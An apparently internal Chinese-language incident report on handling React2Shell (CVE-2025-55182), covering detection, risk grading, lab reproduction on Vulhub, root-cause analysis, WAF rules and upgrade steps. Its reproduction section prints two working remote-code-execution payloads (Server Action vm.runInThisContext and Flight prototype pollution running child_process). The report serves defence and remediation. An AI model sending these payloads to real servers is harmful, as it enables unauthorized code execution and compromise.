漏洞扫描报告 - 2026-02-25 10:57:00

======================================================================


 React (19.0.0)

   正在查询 NVD 数据库...

   ⚠️  发现 3 个高危/严重漏洞:


       CVE-2025-55182

         严重程度: CRITICAL (评分: 10.0)

         描述: A pre-authentication remote code execution vulnerability...


======================================================================

扫描完成 - 共发现 3 个高危/严重漏洞

======================================================================
</code></pre>

<h6 id="215">2.1.5 处理决策</h6>

<ul>
<li><p style="color: #333; font-size: 18px; line-height: 1.6; margin: 0;">
<span style="font-weight: 700;">无漏洞： </span>记录扫描日志，归档</p></li>
<li><p style="color: #333; font-size: 18px; line-height: 1.6; margin: 0;">
<span style="font-weight: 700;">发现漏洞： </span>进入"漏洞分析"阶段</p></li>
</ul>

<h5 id="22">2.2 系统通知（依赖厂商定期推送的高危漏洞清单来发现服务漏洞）</h5>

<h6 id="221">2.2.1 通知来源</h6>

<ul>
<li>厂商安全公告（Google、Oracle、Apache 等）</li>
<li>GitHub Security Advisory</li>
<li>安全社区（CVE、NVD 邮件订阅）</li>
<li>云服务商安全通知（AWS、阿里云等）</li>
</ul>

<h6 id="222">2.2.2 通知示例</h6>

<p>收到谷歌重要安全通知，发现关于 CVE-2025-55182 的重要安全信息，查看后发现 CVSS 评分高达 10 分（满分），需要立即进行系统调研。
<img src="http://static.etouch.cn/imgs/upload/1772441076.3691.png" alt="">
<img src="http://static.etouch.cn/imgs/upload/1772441102.7112.png" alt=""></p>

<h6 id="223">2.2.3 响应流程</h6>

<pre><code>收到通知 → 确认是否使用受影响版本 → 进入"漏洞分析"阶段
</code></pre>

<h4 id="3">3. 漏洞分析</h4>

<h5 id="31">3.1 影响范围评估</h5>

<h6 id="311">3.1.1 漏洞基本信息</h6>

<ul>
<li><p style="color: #333; font-size: 18px; line-height: 1.6; margin: 0;">
<span style="font-weight: 700;">CVE 编号： </span>CVE-2025-55182</p></li>
<li><p style="color: #333; font-size: 18px; line-height: 1.6; margin: 0;">
<span style="font-weight: 700;">漏洞名称： </span>React2Shell</p></li>
<li><p style="color: #333; font-size: 18px; line-height: 1.6; margin: 0;">
<span style="font-weight: 700;">CVSS 评分： </span>10.0 / 10.0（满分）</p></li>
<li><p style="color: #333; font-size: 18px; line-height: 1.6; margin: 0;">
<span style="font-weight: 700;">漏洞类型： </span>远程代码执行（RCE）</p></li>
<li><p style="color: #333; font-size: 18px; line-height: 1.6; margin: 0;">
<span style="font-weight: 700;">CVE 地址： </span><a href="https://www.cve.org/CVERecord?id=CVE-2025-55182">https://www.cve.org/CVERecord?id=CVE-2025-55182</a></p></li>
<li><p style="color: #333; font-size: 18px; line-height: 1.6; margin: 0;">
<span style="font-weight: 700;">公开时间： </span>2025-12-03</p></li>
</ul>

<h6 id="312">3.1.2 漏洞描述</h6>

<p>CVE-2025-55182，也被称为 "React2Shell"，是 React Server Components 中一个极其严重的远程代码执行漏洞，CVSS 评分达到满分 10.0。利用该漏洞的攻击者可以通过发送单个恶意 HTTP 请求的方式，在无需身份验证的情况下在服务器上执行任意代码。 <br>
漏洞的根本原因是在反序列化过程中缺乏充分的输入验证，导致不安全反序列化漏洞。例如当服务器接收到特制的 React Flight 载荷时，内部反序列化逻辑对其结构验证不足，允许攻击者注入恶意结构，最终导致远程代码执行。
该漏洞在默认配置即可被利用，使得标准部署都面临攻击风险。</p>

<h6 id="313">3.1.3 受影响版本对比</h6>

<pre><code># 检查本地版本

grep "react" services-versions.json


# 输出：

# "name": "React",

# "product": "react",

# "version": "19.0.0"
</code></pre>

<p><img src="http://static.etouch.cn/imgs/upload/1772441273.8055.png" alt=""></p>

<h6 id="315">3.1.5 内部系统影响</h6>

<p><img src="http://static.etouch.cn/imgs/upload/1772441343.1948.png" alt=""></p>

<h5 id="32">3.2 风险等级判定</h5>

<h6 id="321">3.2.1 评估维度</h6>

<p><img src="http://static.etouch.cn/imgs/upload/1772441446.135.png" alt=""></p>

<h6 id="322">3.2.2 风险等级定义</h6>

<ul>
<li><p style="color: #333; font-size: 18px; line-height: 1.6; margin: 0;">
<span style="font-weight: 700;">P0（紧急）：</span>CVSS ≥ 9.0 且有公开利用代码，影响生产环境</p></li>
<li><p style="color: #333; font-size: 18px; line-height: 1.6; margin: 0;">
<span style="font-weight: 700;">P1（高）：</span>CVSS ≥ 7.0 且影响生产环境</p></li>
<li><p style="color: #333; font-size: 18px; line-height: 1.6; margin: 0;">
<span style="font-weight: 700;">P2（中）：</span>CVSS 4.0-6.9 或仅影响测试环境</p></li>
<li><p style="color: #333; font-size: 18px; line-height: 1.6; margin: 0;">
<span style="font-weight: 700;">P3（低）：</span>CVSS &lt; 4.0 或影响范围极小</p></li>
</ul>

<h6 id="323">3.2.3 处理时效</h6>

<p><img src="http://static.etouch.cn/imgs/upload/1772441527.5102.png" alt=""></p>

<h6 id="324cve202555182">3.2.4 决策输出（CVE-2025-55182）</h6>

<ul>
<li>[x] 确定风险等级：P0（紧急）</li>
<li>[x] 确定处理负责人：安全团队 + 运维团队</li>
<li>[x] 确定修复截止时间：2026-02-26 14:00</li>
<li>[x] 是否需要应急响应：
是</li>
</ul>

<h4 id="4">4. 漏洞处理</h4>

<h5 id="41">4.1 环境搭建</h5>

<h6 id="411">4.1.1 靶机介绍</h6>

<p>VulHub (<a href="https://vulhub.org/zh">https://vulhub.org/zh</a>) 是一个面向安全研究人员和教育工作者的开源预构建漏洞 Docker 环境集合。旨在帮助安全研究人员、开发人员和运维人员快速搭建各种已知漏洞的实验环境。  </p>

<h6 id="412cve202555182">4.1.2 部署搭建（CVE-2025-55182）</h6>

<pre><code># 克隆仓库

git clone --depth 1 https://github.com/vulhub/vulhub.git


# 进入漏洞目录

cd vulhub/react/CVE-2025-55182


# 启动环境

docker compose up -d  
</code></pre>

<h6 id="413">4.1.3 环境要求</h6>

<ul>
<li>使用隔离环境（Docker 容器、虚拟机、Vulhub 靶场）</li>
<li>禁止在生产环境复现漏洞</li>
<li>确保测试环境与生产环境版本一致</li>
</ul>

<h5 id="42">4.2 漏洞复现</h5>

<h6 id="421">4.2.1 复现目的</h6>

<ul>
<li>验证漏洞真实性</li>
<li>理解攻击路径</li>
<li>评估实际危害</li>
</ul>

<h6 id="422">4.2.2 信息收集（模拟真实攻击路径）</h6>

<p>步骤 1：服务识别
通过 Burp Suite 代理访问页面，抓包后发现：
* HTTP 响应头包含 X-Powered-By: Next.js，确认为 Next.js 服务
* 静态文件路径 /_next/static/chunks/是 Next.js 的 React 组件打包的常见路径
* 初步确定此服务为 React 服务
<img src="http://static.etouch.cn/imgs/upload/1772441711.4831.png" alt="">
<img src="http://static.etouch.cn/imgs/upload/1772441747.3053.png" alt=""></p>

<h6 id="2">步骤 2：路径扫描</h6>

<p>扫描服务高危接口后发现服务只有 /路径是可以访问的，并没有开启其他可访问路径。
<img src="http://static.etouch.cn/imgs/upload/1772441820.2438.png" alt=""></p>

<h6 id="3">步骤 3：漏洞匹配</h6>

<p>在奇安信/微步搜索 Next.js 的高危漏洞后发现有 2 个：</p>

<ul>
<li>CVE-2025-29927：鉴权绕过漏洞，但通过页面分析及路径扫描确认此页面只是普通的 Next.js 说明页面，没有任何登录权限等信息，暂时无法利用</li>
<li>CVE-2025-55182：React 服务本身漏洞，初步判定为此漏洞利用
<img src="http://static.etouch.cn/imgs/upload/1772441879.2844.png" alt="">
<img src="http://static.etouch.cn/imgs/upload/1772441917.1148.png" alt=""></li>
</ul>

<h6 id="423">4.2.3 漏洞验证</h6>

<h6 id="1payload">尝试 1：使用公开 Payload</h6>

<p>利用公开 Payload 验证服务的 CVE-2025-55182 漏洞，虽然攻击失败，但服务返回状态码 500。</p>

<pre><code># from https://forum.butian.net/article/820 

POST /formaction HTTP/1.1

Host: localhost:3002

Content-Type: multipart/form-data; boundary=----Boundary

Content-Length: 297


------Boundary 

Content-Disposition: form-data; name="$ACTION_REF_0"


------Boundary

Content-Disposition: form-data; name="$ACTION_0:0"


{"id":"vm#runInThisContext","bound":["global.process.mainModule.require(\"child_process\").execSync(\"whoami\").toString()"]}

------Boundary--
</code></pre>

<p><img src="http://static.etouch.cn/imgs/upload/1772441984.0086.png" alt=""></p>

<h6 id="">结果分析：</h6>

<ul>
<li>返回 500，说明服务页面 /路径虽然只有 GET 请求，但本身已经监听了 POST 请求（否则就返回 404/405）</li>
<li>这说明此服务很有可能使用了 React Server Actions（默认监听 GET、POST 请求）</li>
<li>React Server Actions 是 CVE-2025-55182 的主要攻击面，仍高度怀疑服务存在此漏洞</li>
</ul>

<h6 id="2flight">尝试 2：调整攻击方式（Flight 反序列化）</h6>

<p>虽然公开的 payload 攻击失败，但怀疑可能是因为服务本身禁用了 vm.runInThisContext
这类危险模块，或者因为服务本身对 payload 反序列化失败导致 500。</p>

<p>查看 CVE 影响发现 Server Components 也是此漏洞的主要攻击对象，所以这里利用 Flight 反序列化的方式去渗透，发现可以攻击成功，并且可以执行命令 whoami。</p>

<pre><code># from vulhub

POST / HTTP/1.1

Host: localhost:3000

Next-Action: x

Content-Type: multipart/form-data; boundary=----Boundary

Content-Length: 655


------Boundary

Content-Disposition: form-data; name="0"


{

  "then": "$1:__proto__:then",

  "status": "resolved_model",

  "reason": -1,

  "value": "{\"then\":\"$B1337\"}",

  "_response": {

    "_prefix": "var res=process.mainModule.require('child_process').execSync('whoami').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});",

    "_chunks": "[]",

    "_formData": {

      "get": "$1:constructor:constructor"

    }

  }

}

------Boundary

Content-Disposition: form-data; name="1"


"$@0"

------Boundary

Content-Disposition: form-data; name="2"


[]

------Boundary--
</code></pre>

<p><img src="http://static.etouch.cn/imgs/upload/1772442884.506.png" alt=""></p>

<h6 id="3">尝试 3：进一步验证</h6>

<p>当确定可以执行系统命令后，执行一些普通命令如 (curl) 发现 500 报错，怀疑服务本身是最小安装缺失必要的系统命令。
<img src="http://static.etouch.cn/imgs/upload/1772442942.5635.png" alt="">
通过 TCP 的方式访问 DNS Log，发现 DNS Log 存在日志信息，确认可通过此方式发起网络访问。至此就可以证明此服务存在 CVE-2025-55182 漏洞，并且可以执行后台命令。
<img src="http://static.etouch.cn/imgs/upload/1772442980.4744.png" alt="">
<img src="http://static.etouch.cn/imgs/upload/1772443027.7985.png" alt=""></p>

<h6 id="">验证成功标志：</h6>

<ul>
<li>✅ 成功执行系统命令（whoami）</li>
<li>✅ 通过 DNS Log 确认外部网络访问</li>
<li>✅ 证明存在远程代码执行漏洞</li>
</ul>

<h6 id="424">4.2.4 记录要求</h6>

<ul>
<li><p style="color: #333; font-size: 18px; line-height: 1.6; margin: 0;">
<span style="font-weight: 700;">截图保存：</span>每个关键步骤都需要截图（服务识别、路径扫描、漏洞验证、攻击成功）</p></li>
<li><p style="color: #333; font-size: 18px; line-height: 1.6; margin: 0;">
<span style="font-weight: 700;">请求响应记录：</span>保存所有请求和响应内容，包括失败的尝试</p></li>
<li><p style="color: #333; font-size: 18px; line-height: 1.6; margin: 0;">
<span style="font-weight: 700;">标注说明：</span>对每次尝试标注成功/失败及原因分析</p></li>
<li><p style="color: #333; font-size: 18px; line-height: 1.6; margin: 0;">
<span style="font-weight: 700;">时间戳记录：</span>记录每个操作的时间，便于后续审计和复盘</p></li>
<li><p style="color: #333; font-size: 18px; line-height: 1.6; margin: 0;">
<span style="font-weight: 700;">环境信息：</span>记录测试环境的配置（操作系统、软件版本、网络环境等）</p></li>
</ul>

<h5 id="43">4.3 成因分析</h5>

<h6 id="431">4.3.1 核心问题</h6>

<p>过度信任用户输入，React 在反序列化时完全信任用户输入，导致对用户的恶意代码进行了执行。
CVE-2025-55182 存在两种攻击方式： <br>
</p><p style="color: #333; font-size: 18px; line-height: 1.6; margin: 0;"> <br>
  <span style="font-weight: 700;">1.Server Action 反序列化漏洞：</span>未校验模块导出属性的合法性
</p><p style="color: #333; font-size: 18px; line-height: 1.6; margin: 0;"> <br>
  <span style="font-weight: 700;">2.React Flight 协议反序列化漏洞：</span>缺乏充分的输入验证</p>

<h6 id="432">4.3.2 技术细节</h6>

<h6 id="1serveraction">漏洞类型 1：Server Action 反序列化漏洞</h6>

<p>Server Action 是 React 提供的服务端函数调用机制，允许客户端直接调用服务端函数。 <br>
正常数据流：</p>

<pre><code>// 1. 开发者编写 Server Action

// actions.js

export async function updateUser(userId, formData) {

    // 服务端逻辑

    const name = formData.get('name');

    await database.updateUser(userId, { name });

    return { success: true };

}


// 2. 在组件中使用

// UserForm.jsx

import { updateUser } from './actions.js';


export default function UserForm() {

    // 绑定预设参数，创建一个新函数

    // 预设第一个参数为 "user123"

    const boundAction = updateUser.bind(null, "user123");


    return (

        // 表单数据会作为 formData 参数传递

        &lt;form action={boundAction}&gt;

            &lt;input name="name" /&gt;

            &lt;button type="submit"&gt;更新&lt;/button&gt;

        &lt;/form&gt;

    );

}


// 3. 编译后的表单提交

// 当用户提交表单时，React 生成：

$ACTION_REF_0 = ""

$ACTION_0:0 = {

    "id": "actions#updateUser",

    "bound": ["user123"]  // 预设的 userId

}


// 4. 服务端正常处理

// 解析表单数据

const action = {

    id: "actions#updateUser",

    bound: ["user123"]

};


// 加载合法的模块和函数

const [moduleName, functionName] = action.id.split("#");

// moduleName = "actions", functionName = "updateUser"


const moduleExports = require("./actions.js");

const fn = moduleExports["updateUser"];  // 获取真实的 updateUser 函数


// 执行函数

const result = await fn("user123", formData);  // updateUser("user123", formData)  
</code></pre>

<p>攻击数据流：</p>

<pre><code>// 1. 攻击者构造恶意载荷

$ACTION_0:0 = {

    "id": "vm#runInThisContext",

    "bound": ["恶意代码"]

}


// 2. 服务端未校验，直接加载

const moduleExports = require("vm");

const fn = moduleExports["runInThisContext"];


// 3. 执行恶意代码

const result = await fn("恶意代码");  // RCE!  
</code></pre>

<h6 id="payload">Payload 解析图：</h6>

<p><img src="http://static.etouch.cn/imgs/upload/1772443309.4828.png" alt=""></p>

<h6 id="2reactflight">漏洞类型 2：React Flight 协议反序列化漏洞</h6>

<p>React Flight 协议说明：</p>

<ul>
<li>React Flight 是 React 团队开发的协议，用于在服务器和客户端之间传输 React 组件树</li>
<li>它是 React Server Components (RSC) 架构的核心传输层</li>
<li>支持流式传输，允许服务器逐步发送组件数据，客户端可以在接收到部分数据时就开始渲染</li>
</ul>

<p>工作流程：</p>

<p>1.服务器端：渲染 Server Components，生成 Flight 格式的数据流 <br>
2.传输：通过 HTTP 流或其他传输方式发送数据 <br>
3.客户端：接收并解析 Flight 数据，重构组件树 <br>
4.合并：将服务器渲染的内容与客户端组件结合 <br>
正常数据流示例：</p>

<pre><code>// 1. 服务端代码

// actions.js

export async function sayHello(name) {

  return `Hello, ${name}!`;

}


// page.js（服务端组件）

import { sayHello } from './actions';


export default function Page() {

  return (

    &lt;form action={sayHello}&gt;

      &lt;input name="name" placeholder="输入姓名" /&gt;

      &lt;button type="submit"&gt;提交&lt;/button&gt;

    &lt;/form&gt;

  );

}


// 2. 初始加载 - 服务端返回 Flight 格式数据

GET /page HTTP/1.1


HTTP/1.1 200 OK

Content-Type: text/x-component


0:{"type":"form","props":{"action":"$1","children":["$2","$3"]}}

1:{"id":"actions#sayHello","bound":[]}

2:{"type":"input","props":{"name":"name","placeholder":"输入姓名"}}

3:{"type":"button","props":{"children":"提交"}}


// 3. 用户提交表单 - 客户端发送 Flight 数据

POST /page HTTP/1.1

Content-Type: multipart/form-data; boundary=----Boundary


------Boundary

Content-Disposition: form-data; name="$ACTION_0:0"

{"id":"actions#sayHello","bound":[]}

------Boundary

Content-Disposition: form-data; name="name"

World

------Boundary--


// 4. 服务端处理

// 解析：{"id":"actions#sayHello","bound":[]}

// 加载：require('./actions')['sayHello']

// 执行：sayHello(formData) // formData.get('name') = 'World'

// 结果："Hello, World!"
</code></pre>

<p>攻击数据流 - Flight 协议 Payload 解析：
<img src="http://static.etouch.cn/imgs/upload/1772443443.1662.png" alt="">
攻击者通过构造特殊的 Flight 协议载荷，利用原型链污染和构造函数注入：
<img src="http://static.etouch.cn/imgs/upload/1772443483.3047.png" alt="">
<img src="http://static.etouch.cn/imgs/upload/1772443514.0907.png" alt="">
攻击载荷通过以下方式实现 RCE：
1.利用 <strong>proto</strong>污染原型链 <br>
2.通过 constructor:constructor访问 Function 构造函数 <br>
3.在 _prefix字段中注入恶意 JavaScript 代码 <br>
4.服务端反序列化时执行恶意代码  </p>

<h6 id="433">4.3.3 对比分析</h6>

<p><img src="http://static.etouch.cn/imgs/upload/1772443657.9986.png" alt="">
4.3.4 根本原因总结 <br>
<img src="http://static.etouch.cn/imgs/upload/1772443702.7966.png" alt=""></p>

<h6 id="">核心缺陷：</h6>

<p>1.Server Action：请求时未校验模块导出属性的合法性，攻击者可通过操控请求负载访问原型链上的危险方法（如 vm.runInThisContext） <br>
2.React Flight 协议：在反序列化过程中缺乏充分的输入验证，允许原型链污染和构造函数注入 <br>
3.信任边界缺失：完全信任客户端传入的模块名和函数名，没有白名单机制  </p>

<h5 id="44">4.4 修复方案</h5>

<h6 id="441cve202555182">4.4.1 临时缓解措施（针对 CVE-2025-55182）</h6>

<h6 id="1waf">方案 1：WAF 规则配置</h6>

<pre><code># Nginx 配置示例 - 拦截包含恶意特征的请求

location / {

    # 检测请求体中的危险模块调用

    if ($request_body ~* "vm#runInThisContext") {

        return 403;

    }


    # 检测原型链污染特征

    if ($request_body ~* "__proto__|constructor:constructor") {

        return 403;

    }


    # 检测 Flight 协议攻击特征

    if ($request_body ~* "_prefix.*require.*child_process") {

        return 403;

    }


    proxy_pass http://backend;

}
</code></pre>

<h6 id="2">方案 2：访问控制</h6>

<pre><code># 限制 Server Actions 端点仅内网访问

# 在防火墙或负载均衡器配置 IP 白名单

# 示例：仅允许内网 IP 段访问

allow 10.0.0.0/8;

allow 172.16.0.0/12;

allow 192.168.0.0/16;

deny all;  
</code></pre>

<h6 id="3">方案 3：功能降级</h6>

<pre><code>// next.config.js - 临时禁用 Server Actions

module.exports = {

  experimental: {

    serverActions: false,  // 禁用 Server Actions

  },

}
</code></pre>

<p>注意：临时缓解措施只能降低风险，无法彻底解决问题，必须尽快升级到安全版本。</p>

<h6 id="442">4.4.2 版本升级方案（推荐）</h6>

<p>升级 Next.js
（针对 CVE-2025-55182）：</p>

<pre><code>npm install next@14.2.35  # for 13.3.x, 13.4.x, 13.5.x, 14.x

npm install next@15.0.7   # for 15.0.x

npm install next@15.1.11  # for 15.1.x

npm install next@15.2.8   # for 15.2.x

npm install next@16.0.10  # for 16.0.x  
</code></pre>

<h6 id="react">升级 React 相关包：</h6>

<pre><code>npm install react@latest

npm install react-dom@latest

npm install react-server-dom-parcel@latest

npm install react-server-dom-webpack@latest  
</code></pre>

<h6 id="">其他框架升级指南：</h6>

<p>Redwood SDK：  </p>

<pre><code># 确保使用 rwsdk 版本 &gt;= 1.0.0-alpha.0

npm install react@latest react-dom@latest react-server-dom-webpack@latest  
</code></pre>

<p>Waku：  </p>

<pre><code># 升级到最新版本

npm install react@latest react-dom@latest react-server-dom-webpack@latest waku@latest  
</code></pre>

<p>React Native：  </p>

<pre><code># 对于未使用 monorepo 的 React Native 用户

# react 版本应该在 package.json 中固定，无需其他步骤


# 如果在 monorepo 中使用 React Native

# 只需更新已安装的受影响软件包

npm install react-server-dom-webpack@latest

npm install react-server-dom-parcel@latest

npm install react-server-dom-turbopack@latest  
</code></pre>

<p>官方修复公告：<a href="https://react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components">https://react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components</a></p>

<h6 id="443cve202555182">4.4.3 升级步骤（CVE-2025-55182 实施）</h6>

<pre><code># 1. 备份当前版本

npm list react react-dom

# react@19.0.0

# react-dom@19.0.0


# 2. 在测试环境升级到安全版本

npm install react@19.2.2 react-dom@19.2.2


# 3. 执行测试

npm test


# 4. 功能回归测试

# - 测试核心业务功能

# - 测试 Server Components 功能

# - 测试 Server Actions 功能


# 5. 生产环境发布

# 灰度发布 → 观察 1 小时 → 全量发布
</code></pre>

<h6 id="444">4.4.4 回滚方案</h6>

<pre><code># 如果升级后出现问题，立即回滚到原版本

npm install react@19.0.0 react-dom@19.0.0


# 重启服务

pm2 restart app  
</code></pre>

<h4 id="5">5. 验证与总结</h4>

<h5 id="51">5.1 修复验证</h5>

<h6 id="511cve202555182">5.1.1 验证方法（CVE-2025-55182）</h6>

<pre><code># 1. 版本确认

npm list react react-dom

# react@19.2.2 ✅

# react-dom@19.2.2 ✅


# 2. 漏洞扫描

python3 scan-vulnerabilities.py

# 输出：✅ 未发现高危漏洞


# 3. 功能测试

npm test

# 所有测试通过 ✅


# 4. 安全测试（使用之前的 PoC 验证）

# 发送恶意 payload，应返回错误或被拦截

curl -X POST http://localhost:3000/ \

  -H "Next-Action: x" \

  -F "0={恶意payload}"

# 预期结果：403 Forbidden 或 400 Bad Request ✅
</code></pre>

<h6 id="512cve202555182">5.1.2 验证结果（CVE-2025-55182）</h6>

<ul>
<li>[x] 版本已更新：react@19.2.2 ✅</li>
<li>[x] 漏洞扫描通过：未发现 CVE-2025-55182 ✅</li>
<li>[x] 功能测试通过：所有业务功能正常 ✅</li>
<li>[x] 安全测试通过：PoC 攻击被拦截 ✅</li>
</ul>

<h5 id="52">5.2 文档归档</h5>

<h6 id="521">5.2.1 归档内容</h6>

<pre><code>漏洞处理报告/

├── CVE-2025-55182-React-RCE.md

├── 复现截图/

│   ├── 01-服务识别.png

│   ├── 02-漏洞验证.png

│   └── 03-攻击成功.png

├── 修复记录/

│   ├── 升级日志.txt

│   └── 测试报告.md

└── 验证报告/

    └── 修复验证.md
</code></pre>

<h6 id="522cve202555182">5.2.2 处理记录（CVE-2025-55182）</h6>

<p><img src="http://static.etouch.cn/imgs/upload/1772444078.1487.png" alt=""></p>

<h5 id="53">5.3 经验总结</h5>

<h6 id="531cve202555182">5.3.1 处理总结（CVE-2025-55182）</h6>

<ul>
<li><p style="color: #333; font-size: 18px; line-height: 1.6; margin: 0;">
<span style="font-weight: 700;">发现时间：2026-02-25 09:00（系统通知 + 主动扫描）</span></p></li>
<li><p style="color: #333; font-size: 18px; line-height: 1.6; margin: 0;">
<span style="font-weight: 700;">修复时间：</span>2026-02-25 14:00</p></li>
<li><p style="color: #333; font-size: 18px; line-height: 1.6; margin: 0;">
<span style="font-weight: 700;">处理周期：</span>5 小时</p></li>
<li><p style="color: #333; font-size: 18px; line-height: 1.6; margin: 0;">
<span style="font-weight: 700;">影响范围：</span>生产环境 1 个系统，测试环境 1 个系统</p></li>
<li><p style="color: #333; font-size: 18px; line-height: 1.6; margin: 0;">
<span style="font-weight: 700;">风险等级：</span>P0（紧急）</p></li>
<li><p style="color: #333; font-size: 18px; line-height: 1.6; margin: 0;">
<span style="font-weight: 700;">处理结果：</span>成功修复，无业务影响</p></li>
</ul>

<h6 id="532">5.3.2 经验教训</h6>

<ul>
<li>✅ 双重发现机制（主动扫描 + 系统通知）确保了及时发现</li>
<li>✅ 完整的复现过程帮助深入理解了攻击原理</li>
<li>✅ 测试环境验证避免了生产环境问题</li>
<li>✅ 灰度发布策略降低了升级风险</li>
<li>⚠️ 需要建立更快速的应急响应机制（目标 2 小时内响应）</li>
</ul>

<h6 id="533">5.3.3 改进建议</h6>

<ul>
<li>[ ] 增加扫描频率：从每周一次改为每天一次</li>
<li>[ ] 建立安全通知聚合平台，统一接收各厂商通知</li>
<li>[ ] 制定 P0 级漏洞应急响应预案</li>
<li>[ ] 加强依赖版本管理，使用 Dependabot 自动监控</li>
<li>[ ] 每季度进行一次漏洞应急演练</li>
</ul>

<h4 id="6">6. 持续改进</h4>

<h5 id="61">6.1 流程优化</h5>

<h6 id="611">6.1.1 定期回顾</h6>

<ul>
<li><p style="color: #333; font-size: 18px; line-height: 1.6; margin: 0;">
<span style="font-weight: 700;">频率：</span>每季度进行一次漏洞管理流程回顾</p></li>
<li><p style="color: #333; font-size: 18px; line-height: 1.6; margin: 0;">
<span style="font-weight: 700;">内容：</span></p></li>
<li>统计漏洞发现数量、类型、等级分布</li>
<li>分析平均响应时间和修复时间</li>
<li>评估流程执行效率</li>
<li>识别流程瓶颈和改进点</li>
</ul>

<h6 id="612">6.1.2 工具优化</h6>

<ul>
<li><p style="color: #333; font-size: 18px; line-height: 1.6; margin: 0;">
<span style="font-weight: 700;">扫描工具：</span></p></li>
<li>扩展数据源（NVD + OSV + GitHub Advisory）</li>
<li>优化扫描规则，减少误报</li>
<li>增加自动化程度</li>
<li><p style="color: #333; font-size: 18px; line-height: 1.6; margin: 0;">
<span style="font-weight: 700;">监控告警：</span></p></li>
<li>集成多渠道安全通知（邮件、钉钉、企业微信）</li>
<li>建立漏洞等级自动分类机制</li>
</ul>

<h6 id="613">6.1.3 应急响应预案</h6>

<ul>
<li>制定不同等级漏洞的标准处理流程</li>
<li>建立应急联系人机制</li>
<li>准备常见漏洞的快速修复方案模板</li>
</ul>

<h5 id="62">6.2 能力建设</h5>

<h6 id="621">6.2.1 安全培训</h6>

<ul>
<li><p style="color: #333; font-size: 18px; line-height: 1.6; margin: 0;">
<span style="font-weight: 700;">频率：</span>每月一次</p></li>
<li><p style="color: #333; font-size: 18px; line-height: 1.6; margin: 0;">
<span style="font-weight: 700;">内容：</span></p></li>
<li>最新漏洞案例分析</li>
<li>安全编码规范</li>
<li>漏洞复现技术</li>
<li>应急响应流程</li>
</ul>

<h6 id="622">6.2.2 实战演练</h6>

<ul>
<li><p style="color: #333; font-size: 18px; line-height: 1.6; margin: 0;">
<span style="font-weight: 700;">漏洞复现演练：</span>每季度一次</p></li>
<li>选择典型漏洞进行复现</li>
<li>团队成员轮流主导</li>
<li>总结经验教训</li>
<li><p style="color: #333; font-size: 18px; line-height: 1.6; margin: 0;">
<span style="font-weight: 700;">应急响应演练：</span>每半年一次</p></li>
<li>模拟 P0 级漏洞发现场景</li>
<li>测试应急响应流程</li>
<li>评估响应速度和处理效果</li>
</ul>

<h6 id="623">6.2.3 知识沉淀</h6>

<ul>
<li>建立漏洞知识库，记录所有处理过的漏洞</li>
<li>编写最佳实践文档</li>
<li>分享典型案例和经验</li>
</ul>

<h5 id="63">6.3 工具升级</h5>

<h6 id="631">6.3.1 扩展漏洞数据源</h6>

<pre><code># 计划集成的数据源

- NVD (National Vulnerability Database)  # 已集成

- OSV (Open Source Vulnerabilities)      # 待集成

- GitHub Security Advisory               # 待集成

- Snyk Vulnerability Database            # 待集成
</code></pre>

<h6 id="632">6.3.2 自动化修复</h6>

<ul>
<li>研究依赖自动更新工具（Dependabot、Renovate）</li>
<li>建立自动化测试流程</li>
<li>实现灰度发布自动化</li>
</ul>

<h6 id="633">6.3.3 漏洞管理平台</h6>

<ul>
<li>建立统一的漏洞管理平台</li>
<li>集成扫描、分析、修复、验证全流程</li>
<li>提供可视化报表和统计分析</li>
</ul>

<h4 id="7">7. 附录</h4>

<h5 id="71">7.1 工具清单</h5>

<ul>
<li><p style="color: #333; font-size: 18px; line-height: 1.6; margin: 0;">
<span style="font-weight: 700;">漏洞扫描脚本：</span>scan-vulnerabilities.py</p></li>
<li><p style="color: #333; font-size: 18px; line-height: 1.6; margin: 0;">
<span style="font-weight: 700;">服务清单：</span>services-versions.json</p></li>
<li><p style="color: #333; font-size: 18px; line-height: 1.6; margin: 0;">
<span style="font-weight: 700;">靶场环境：</span>Vulhub (<a href="https://vulhub.org/">https://vulhub.org/</a>)</p></li>
<li><p style="color: #333; font-size: 18px; line-height: 1.6; margin: 0;">
<span style="font-weight: 700;">抓包工具：</span>Burp Suite</p></li>
<li><p style="color: #333; font-size: 18px; line-height: 1.6; margin: 0;">
<span style="font-weight: 700;">DNS Log 平台：</span>用于验证外部网络访问</p></li>
</ul>

<h5 id="72">7.2 参考资源</h5>

<ul>
<li><p style="color: #333; font-size: 18px; line-height: 1.6; margin: 0;">
<span style="font-weight: 700;">NVD：</span><a href="https://nvd.nist.gov/">https://nvd.nist.gov/</a></p></li>
<li><p style="color: #333; font-size: 18px; line-height: 1.6; margin: 0;">
<span style="font-weight: 700;">CVE：</span><a href="https://www.cve.org/">https://www.cve.org/</a></p></li>
<li><p style="color: #333; font-size: 18px; line-height: 1.6; margin: 0;">
<span style="font-weight: 700;">GitHub Advisory：</span><a href="https://github.com/advisories">https://github.com/advisories</a></p></li>
<li><p style="color: #333; font-size: 18px; line-height: 1.6; margin: 0;">
<span style="font-weight: 700;">React 安全公告：</span><a href="https://react.dev/blog">https://react.dev/blog</a></p></li>
<li><p style="color: #333; font-size: 18px; line-height: 1.6; margin: 0;">
<span style="font-weight: 700;">OSV：</span><a href="https://osv.dev/">https://osv.dev/</a></p></li>
</ul>

<h5 id="73cve202555182">7.3 CVE-2025-55182 参考资料</h5>

<ul>
<li>React 官方安全公告：<a href="https://react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components">https://react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components</a></li>
<li>CVE 详情：<a href="https://www.cve.org/CVERecord?id=CVE-2025-55182">https://www.cve.org/CVERecord?id=CVE-2025-55182</a></li>
<li>技术分析文章：<a href="https://www.wiz.io/blog/nextjs-cve-2025-55182-react2shell-deep-dive">https://www.wiz.io/blog/nextjs-cve-2025-55182-react2shell-deep-dive</a></li>
<li>漏洞利用分析：<a href="https://forum.butian.net/article/820">https://forum.butian.net/article/820</a></li>
<li>Vulhub 靶场：<a href="https://github.com/vulhub/vulhub/tree/master/react/CVE-2025-55182">https://github.com/vulhub/vulhub/tree/master/react/CVE-2025-55182</a></li>
</ul>

<h5 id="74">7.4 联系方式</h5>

<p><img src="http://static.etouch.cn/imgs/upload/1772444618.032.png" alt=""></p>

<h5 id="75">7.5 常见问题</h5>

<h6 id="q1">Q1：扫描发现漏洞但无法复现怎么办？</h6>

